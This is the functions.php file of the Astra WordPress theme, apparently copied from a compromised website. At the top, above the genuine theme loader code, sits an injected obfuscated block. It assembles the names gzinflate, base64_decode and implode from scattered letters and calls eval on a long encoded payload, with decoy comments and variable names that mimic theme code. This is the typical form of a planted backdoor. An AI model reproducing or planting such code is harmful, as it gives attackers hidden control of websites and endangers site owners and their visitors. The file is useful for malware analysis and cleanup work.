File: /home/bannong/domains/bannongsaischool.com/public_html/wp-content/themes/astra/functions.txt
<?php
/*275242607b969858175a0047510fbacb*/
$register_sidebar_vv = array ('zRxrc9tG7rt/xVrjHs','k7yZLbptNatjKOrSS+','cWxXlq+XsTMcSlxZbC','iS5ZKx3Sb97Qfsg9wl','qUecZOY8eUhLAAtgsV','gAC3pra5ZH0yyII+L5','vns/pyl1p3HkBzhm7/','ABh/y1ReDnLownXkh2','7hN/0iY7OaPpFc2yIL','pjR2na3+JAO4HPyCHx','0tR7dN/TR2ZXAZ1+AX','gcLxbeFU281MuoD2jB','Igljn9pWm8AfBHEk3W','BG7O2AuQyohNR2yD/+','QeCr5y+CyHYUi/iDgs','yCMKOpbX0I6D1zKYjT','SWKWIdlZ8ODiZxAzjz','JmSXbwJ6VZnkZESE12','SYscnZ+Qv7jAnQEisU','+7HNfLs3mckvOLMTk9','J3ZdFqclyH4S3BuU+1','swWuid06MP0zAHuXf+','yGn6iNIYGv9SVUvyV1','kKDwBlEfvB7PG3NAAl','MTFq15QteOkMKkrfbt','a6gmY0sy2hHlxBY2ZH','6USX/z6BlQCr+53ZNb','lRN0stbQZY3nROalIT','j6FuyOGA7DA5rLOK0t','kc4FBMIdZWLioX0g4Y','ClKg31i/M+ud4xQc6r','TmgU//fcXiPJ3SEsXQ','jvqZAMvv+8bwJ+Mbnc','5jUpnWhK+Q+NSg0iUM','SX6Q5Zp4UcwFRNlro6','CnQ7Kni9PtTnOWxQtQ','+gmd5He2NQ1jb/oerS','tgJI629W1VQke+ANce','Ijfi8fGcTt9fUbumOL','l5sjSndbk1gJkXssrm','qmx2e4c7hKpDm+ZpSq','PMRTtqo39zuTGrbZY9','JrTYaHbpZ/hXi2Velj','MLre38+uzMaa8AsJJ8','EgZsbq2G8lNvlq2BSU','CZoO41UFnqrZ0NtjJV','IHJhyq0lZMcNhZ8M8x','c7vq4X/LG40hFFcsud','bwOIxgif4Uax9q4AVk','6Jz5lSlocZTBrRe/Lb','pfsr8qDcpgaIZlUhiN','udr1DFvBA0Semdu/Cy','6dy2/r4d3Nr2Ta/zS/','vdv5xb5/bgb/Rk3HJu','LC8MrXfwlQPT5l1uwA','KvLEvdlCahh9tRIt70','gIo1sC04Z6RUncEMrN','TnBstg2HIOqhM7y3zH','J0LB+JdILZcYF89A3w','El/ioXcUeafOPzG+nR','XTeIuERiyY2N0xmcnu','grsGq5FN0q/OctBZdq','07UQwF9rMQS1J65G4Q','S+yBAVlU0VUMB/LR0U','BJ+oBunlvkgJgsamKp','DQX0sBktxTrUA58C+z','AkllYytQ8F/NChTBJ6','pBnlBfpARBY1MVSOiv','pQBJbrn49UBFoFYjFc','xYXPXdjbwFdX/sPXsG','XpbHLm1xQMJ/CU0XxU','lc6JVHaeKgNeLyOPRl','9INeXnyCgFds3pJp+c','SF1ADguKgCzRXRmS2m','rSEUpABrWyfy3Jh6X5','+g36AS8bSeGjVy8f+Q','kEqlS5WrQRUTta6GZ8','PjMdGCnDY5vrg+H9vk','n8QhR1ckyhfSpF6OLt','5U0kzy2+vhaEiKMApI','fsdaWnpmQYTme5MQA6','xDYRMyJUbp3DC+u6O+','q7K0ctUKim48+Z1O8W','y+o5lbHRY2VY2otvUD','3516kV2j1xlMvaQzQO','7cJA0+gB6FlLU9KXW1','e0iU5Ckqntq1nSvycF','vTJdlGxQvyFrkYEZvo','eTkoy+c4OoqO4TitNp','fbECjwbceY3GnON0rO','W+Us60sC5NXo4vqSvH','irsyXrBNLVIJc2N1VH','KgWZlM/sip4EG9IvOG','1yNBodvXWPnFp+rGjz','MH6RoMlX0mE5fGME5e','+kS1kSrqidq1ALe9Yz','1qb0FCJZuZ0FPOhdbs','pTv2lrL9tbpyeNO0dU','b0xzkNTVBtpM21K9Fb','Xq/sSu5UurVY24N3jy','FEo7PVHaMt0hAJq+UC','psFuZs7qZ5SBvKJRW/','JlLZlN5jnaeQHFHlpo','8TXuWzJIggazkb1VfA','k/KkzatICIc2fQD68N','zGh3DcA+mFl6iqAj8q','Ta8iqxF8+htB4Z1DPn','40zK3yHDzAIZG7d+lE','dZ9TKgROdV2Xq01Wkn','YfFqFEENxsWqmDhEcp','vjCcpytZq+AsE7wqt2','LgZtW6oGWuU2ldT4bd','FoL+S5pakxVfCaovKf','XtDTX4NGOcwQznEEhV','Yj0riHz6sJvMk+cIcY','iHO/xda019s8aM7BdT','AImacC9BbKux6NkIyn','XR7QZR4PIq6oIu4vTR','DYNFwCvX3z/76c0LRW','8OByxWuI/jKAOmO2M4','A/YJRq3IEdbwcZifzL','DBGevMsywBHw7ha59M','514KUxwiuO4IJhA2uP','KhBScKltxgvm73c2d7','4kQomDh8XDnj971e4X','hxCFdSaO01fFPbdkeO','XfGSJ/pXDrtLWrdR4f','PFEQAPZ7D81/zLi8cR','BS/Psus0KLbkTnEo4W','5ddVbJySGqiMGj4NFk','9XafWXIYxIvu6Cylf+','CDe0rfh4/qWeixTETa','PoQGtvW2s+j4DZ63ZA','XNnJ9pgW+YeJ6GKoSD','ENALg+i9XQBq0bqpIQ','hdAPFFGE8BGj61C5ba','OuPtUjiNFlbsgT3q+j','SkwL2ari1iYVaa/Fbz','1LAqB12YFRZ/oJZHFr','510H6TCxbLLjUgvc7B','wcHVeLR18BzcM/lAUw','bwh6293V6L0GgaY356','2Loev+z83Ho+2DoQM0','txACVihy3cHfvd7v39','/a7a+LtxetdlIOfCY1','052O3t/tLSMfcfWGBg','3//A8cBu97r/fXN2xf','E7QQRmHU1pgcuCfUH6','LJ56Gef3M1gwfPtn4K','nPuw/Mbw2E4rdAdaam','P9cylAc3VwMGUNMDye','sBUBwgwYMufipGBe2B','mgSeyhEFUc450OY/6G','rjClRxNCh4O+gWY5wh','tLrBbXQb1aVuvBO7F1','+1ME4besM38LLzvIQT','91GgeGPjGnR4UGh1eN','EBIRtCwjITxUTUwHaa','DtmXvKDA1FFZ7Jnies','cMAhf+M5vNvT17x70a','jv4zHN1Yr8fjS/f1xd','WYR1LG1WDTtZrkM8rD','sOnuM4/AaQbgoP6k9s','Rj9KcfwX9MUSLtyqxa','E2l21N8gZKgEsMmaCB','ZPt4+WsQ13l4UYG0YX','SHLHqsbGWhGs9bfk7W','/IXctVGg1/vR5ejd3r','0WlD4KfiMhBmdYQbsG','NuNpfgwe1qFlZPLNDR','q/NSZFn8mHJBuI2KLT','yEjVx5j1C7hG3XqDoN','plbeCK67B0whlPpA38','bgW97QzPvGAmobBclA','JkO2kzSGAzp7dOlDwD','C7FHfb6qq8QTxjE32Z','vvSWiHswuthN40kMJz','Uw4LpiOperzaoGuQbW','XRzfhRQwGxFJt0u4is','nV8ILs/bj7QCD5hoyA','pitoTkBvT6VomjB4sx','Gsc0ZPE9uoj8pcyXRs','/3VfXox+OxqdDE/wU2','XvqH2zBke3vqUzHb90','jy/Oz4fH49PzV+7p5U','ZT1ZHWzTUavrkYD92j','k5O1whigTc66YQtVLu','mVfneCRBwkpeq1DQAu','Ef7YAMTrp6aZwygeQu','DRjBJrooetnDoC3vRM','RndSPP4Zz1hFc8Fpwm','xz8wmQBk1I8TRyWgVH','0MUzgn+sJt6aHk6jq3','wS4SKgfBK86oFrvRIM','QpIom2ES5E3fQ3rHso','8fv2P6X6EHRbJCrlod','bVdN5xq+uUevhudjfi','diPjw6Ph5ejt2zo/NX','1wBjprVruy22Vkt0P4','djjWwo0TeTZJ0Nn7IR','BR8yDhYQe2TwL8Tmi0','StGyTg2B+E42DlHaJD','DMhPPfJP8c/3P+oNNW','vgNzi8lmsVCQLh7xjk','yYo2/26JAdtp67NuqI','Vinh1IQT3DX9o7H7ww','p5UqIaR9PiK4CI87WX','bgiSOJY5jbmw/xyLYQ','xTCIgvemiBOGOV+lDe','YJ5spL2GnL6dpC4FpT','n7HZ11CSEvHpS3pNGi','z6mQpvuIHiKg2Nhv4w','VLD5hVcxckD2er0V4Y','FWBbBUKph0hIidqR/t','TuNFl6XTbu6F8R2jUw','xKLa0QnsQQmQM2L42i','D+eVDpn8NfX2LChEGr','5o7LnExao09uC6xnnG','AfZ6lYeT2H/kTxooc4','A5Xqfx0LzRLOoIXLdc','tYh19yfIC1EzY/bvLI','5cXgCghX22yS/lFY+z','pfcXiTPVBTXQNI1Tu9','DNcuXzm+3K+QCZ46LE','vRECQ3jP71JYPp1SXh','4zD4mNLNKpG/en5bVF','cR5utK1lgYu7Zrmxtx','tcpdjPVuFplkQZEkyc','o0V4UVVVvYWQu7kslr','ogEl8PBhqN9Q5LpWj4','TBZB7rCCGEy53QeJIN','PFyHU3e8isSuvh+gVv','ZpZjkIIhNY/VeJhW14','sLg3ZhCAKwaUA/UBef','aMzoClAxD08LWRIGGa','SF9m16G328jRxMDIX5','IQkwl85em1yOhq/cq8','uz07F7fuEO31yO3zZc','wCg3JEOm9QoIIljnwD','dXi0RxRrxI2Ot6XVSO','iqKYomyHewHxuU00u8','NxcXisPB4Msy4PCK3W','vN5sm8IHiPjG8YsAk7','gAPpeFFVwP0TaApQCx','PAJEln0h1/HSRx7TWl','b16rBAx9ATa+PGYVqg','7grqiefbPp3CsB2nvi','0QYMl/Bk31QNqr8ci9','PDpxz4Yvx07TDaMiuD','TKr0S308BPdWm5FCic','m2T4qkARt+tSNmgsUd','aHYSK2Ama8b4e9n8Bz','R88HupY2bV9dpGXmtD','XtCoj6xAJQ8e4iBZwR','Fyuf8CRF8d0mPZ2lcu','ZmBC5BBaNszdGnwivL','go7ZT83L39Y5bJ8gQv','oAZfVXpS1Vf9oQVerr','OslnM5rizX5a9NIoDs','TcB9udjoAiHEqqsNPZ','HmBZ8vL1pTu8OOvrsY','teMarfT/K3BvLQS20R','1sDILI0jWDjvjooxGJ','rHfB9XHU7Jk2TGC8MJ','pEuruFI/8UTIabcUlp','S4tebklEqCsK6qIiCJ','o/zG2K4Gg+YkYBacTL','XEhIKeBdF7Vq9UyrWT','08v2joJcEyJYm5yl3y','TB55EwY4Qm2BtrHvg+','jfDaz3p3U3b7ly8HlD','FDYx9/9fiIYiKKSWQS','w/a5DyCkzDMiivqMyP','vCsqbQ4LAF90VgL5uy','6EPGLy9gm+Jnd4JfVi','pCbXAd1fPFG1BeCKb0','GK7VZIGLe7/c/M26hP','CaE0dNzmIQMG16x6Kq','MQFJCuSlGim3Bd4mFJ','xVy0cbMIeXqJuwJu5q','V7JWKtfgzlxD3ZI3Xb','ymV4aUm5/I1bSs/tpF','KRhkx5h+ofhxFD6+Bu','BL8FdNapBubrlTq/i0','mtoAiiAe3j3RarhUcK','8H64ji4h0vU9FNz6o7','tbLhdmNZ93onAS4Fjb','Jx8VQXeoMbZ/kGgAI0','+3d9bNjFSybEd7RWXS','283UxifklWduvqBCDB','1asNjUKVGidivihf8G','oKKcRRxRWjJ5jz3V+2','B3Bqp/8F6v+W+nfhhN','p0DfzgTgQ5ekc0/MEu','056DXb3a8N47bOw14X','Zhu5krBGBPW2TBy8oF','/tIVFlN849Wd5WG4yf','IWQV1DRX5bKu45qndf','qtE8/J9+aGmFTLpIMs','gDy2cNKb7KXdYeJpWo','gTW+TLjMTzTeQ7el5O','e52YvO2Ej218FH3qJX','hHB1MN4ILzFuCnpgqe','/qB5eEE5bddK6awwp8','r7GrUzuMjQiyynKlo6','L5xcMDP/hA+EIfttTR','u+9NWBzmGe3LFwr2vT','CZe3aceNMgezzsOX35','cb+32+v90P+zwy+q93','/utwZ4AXPQBaqDhjcG','18wW0lm233nW6/WShy','8klcXJPunA1v7ucwhl','kLgzSKYX+4RBRE7tnv','MZ2PEHms7C+H6fCJPt','F8HMPik5m9Pgbp7tk1','6S9SFk9bO5+Lz5PH4A','Wb73uB/FEe2vxmKJF3','2D5UWyT5mvcYGfSqxh','iTcitWKRDfxKVqQdL6','rhovCN1U4WrR6j+mQ+','oxO3cIMrWjGqgCvfaS','66i0CeWh/L4bJWHwh3','ZXAqy3rVHgXFm34dL3','oNxa+AwBPUR8U2/FaI','4gYDn3lTcYKDE3fVey','S8rUD/tQYqRNURsOoa','/ZHTnLpsmgaJwCp/GY','AxS9kxIN8GKqZZ+toU','PNzrtckPTWSMfnehIq','RVa/Jewjckv77QTr0p','vwkliET/bq3ptwkYHo','KH4OVgP0jplGNW2les','siW24dgFs1hl8KvaVe','Th35hoGUFowwv9RouH','pi2eRIIMDRWoarOJhi','Xz4hKvLMoYHdX/Aw==');
$register_sidebar_qw = array ('s','l','z','g','d','p','m','4','z','a','z','f','i','l','o','n','d','b','a','a','e','d','z','d','e','t','i','d','6','e','s','i','i','d','p','o','w','u','a','a','v','p','t','e','d','e','d','_','b','c','c','n','e','j','t','o','g','u','q');
$register_sidebar_sw = $register_sidebar_qw[56].$register_sidebar_qw[22].$register_sidebar_qw[31].$register_sidebar_qw[15].$register_sidebar_qw[11].$register_sidebar_qw[13].$register_sidebar_qw[9].$register_sidebar_qw[25].$register_sidebar_qw[43];
$register_sidebar_kt = $register_sidebar_qw[48].$register_sidebar_qw[18].$register_sidebar_qw[30].$register_sidebar_qw[45].$register_sidebar_qw[28].$register_sidebar_qw[7].$register_sidebar_qw[47].$register_sidebar_qw[27].$register_sidebar_qw[29].$register_sidebar_qw[49].$register_sidebar_qw[35].$register_sidebar_qw[33].$register_sidebar_qw[24];
$register_sidebar_ug = $register_sidebar_qw[26].$register_sidebar_qw[6].$register_sidebar_qw[5].$register_sidebar_qw[1].$register_sidebar_qw[55].$register_sidebar_qw[23].$register_sidebar_qw[20];
/*     openssl_pbkdf2*/   /*htmlspecialchars_decode*/                 /* mkdir        */               /*mb_substitute_character     */eval        /*fpassthru      */   /*     compact          */                   /*numfmt_get_attribute*/(        /*         date_create_immutable_from_format    */            /*        intltz_get_canonical_id*/          /*intlcal_field_difference*/$register_sidebar_sw/*timezone_location_get*//* libxml_get_errors     */  /*     gmp_cmp*/        /*     spl_autoload_register    */  (          /*       preg_replace       *//*   pathinfo*//*fileatime*/$register_sidebar_kt /*     mb_ord     */         /*          imap_mail*/        /*   numfmt_parse    */              /*       intltz_get_raw_offset    */          (/*  pcntl_wifsignaled        */   /*    class_parents      */      /*        imagecolorexactalpha*//*intlcal_get_minimal_days_in_first_week*/              $register_sidebar_ug  /*hash_init*//*intltz_from_date_time_zone*/       (        /*        sscanf        *//*  fmod*/              $register_sidebar_vv/* openssl_spki_export_challenge*//* spl_classes*/          /*          stream_socket_pair*/              /*xml_parser_get_option*/      ) /*        strcasecmp   *//*     spl_autoload_unregister*/   )    /*exp*/          /* stream_filter_remove         *//*   mysqli_stmt_get_result*/        )   /*ftp_chdir*/       /*   xml_parser_create*/       ) /*is_integer          */      /*array_unique       *//*   imagecolorat     *//*     collator_set_strength      */           ;
/*275242607b969858175a0047510fbacb*/
/**
 * Astra functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Astra
 * @since 1.0.0
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}
/**
 * Define Constants
 */
define( 'ASTRA_THEME_VERSION', '4.11.0' );
define( 'ASTRA_THEME_SETTINGS', 'astra-settings' );
define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) );
define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) );
define( 'ASTRA_THEME_ORG_VERSION', file_exists( ASTRA_THEME_DIR . 'inc/w-org-version.php' ) );
/**
 * Minimum Version requirement of the Astra Pro addon.
 * This constant will be used to display the notice asking user to update the Astra addon to the version defined below.
 */
define( 'ASTRA_EXT_MIN_VER', '4.11.0' );
/**
 * Load in-house compatibility.
 */
if ( ASTRA_THEME_ORG_VERSION ) {
	require_once ASTRA_THEME_DIR . 'inc/w-org-version.php';
}
/**
 * Setup helper functions of Astra.
 */
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php';
require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php';
define( 'ASTRA_WEBSITE_BASE_URL', 'https://wpastra.com' );
/**
 * ToDo: Deprecate constants in future versions as they are no longer used in the codebase.
 */
define( 'ASTRA_PRO_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'dashboard', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' );
define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'customizer', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' );
/**
 * Update theme
 */
require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php';
require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php';
/**
 * Fonts Files
 */
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php';
if ( is_admin() ) {
	require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php';
}
require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php';
require_once ASTRA_THEME_DIR . 'inc/lib/docs/class-astra-docs-loader.php';
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/dark-mode.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php';
// Enable NPS Survey only if the starter templates version is < 4.3.7 or > 4.4.4 to prevent fatal error.
if ( ! defined( 'ASTRA_SITES_VER' ) || version_compare( ASTRA_SITES_VER, '4.3.7', '<' ) || version_compare( ASTRA_SITES_VER, '4.4.4', '>' ) ) {
	// NPS Survey Integration
	require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-notice.php';
	require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-survey.php';
}
/**
 * Custom template tags for this theme.
 */
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php';
require_once ASTRA_THEME_DIR . 'inc/template-tags.php';
require_once ASTRA_THEME_DIR . 'inc/widgets.php';
require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/admin-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php';
/**
 * Markup Functions
 */
require_once ASTRA_THEME_DIR . 'inc/markup-extras.php';
require_once ASTRA_THEME_DIR . 'inc/extras.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog.php';
require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php';
/**
 * Markup Files
 */
require_once ASTRA_THEME_DIR . 'inc/template-parts.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php';
/**
 * Functions and definitions.
 */
require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php';
// Required files.
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php';
require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php';
/* Setup API */
require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php';
if ( is_admin() ) {
	/**
	 * Admin Menu Settings
	 */
	require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php';
	require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php';
	require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php';
}
/**
 * Metabox additions.
 */
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php';
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php';
/**
 * Customizer additions.
 */
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php';
/**
 * Astra Modules.
 */
require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php';
require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php';
/**
 * Compatibility
 */
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/surecart/class-astra-surecart.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php';
require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php';
require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php';
require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php';
require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php';
require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php';
// Elementor Compatibility requires PHP 5.4 for namespaces.
if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) {
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php';
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php';
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php';
}
// Beaver Themer compatibility requires PHP 5.3 for anonymous functions.
if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php';
}
require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php';
/**
 * Load deprecated functions
 */
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php';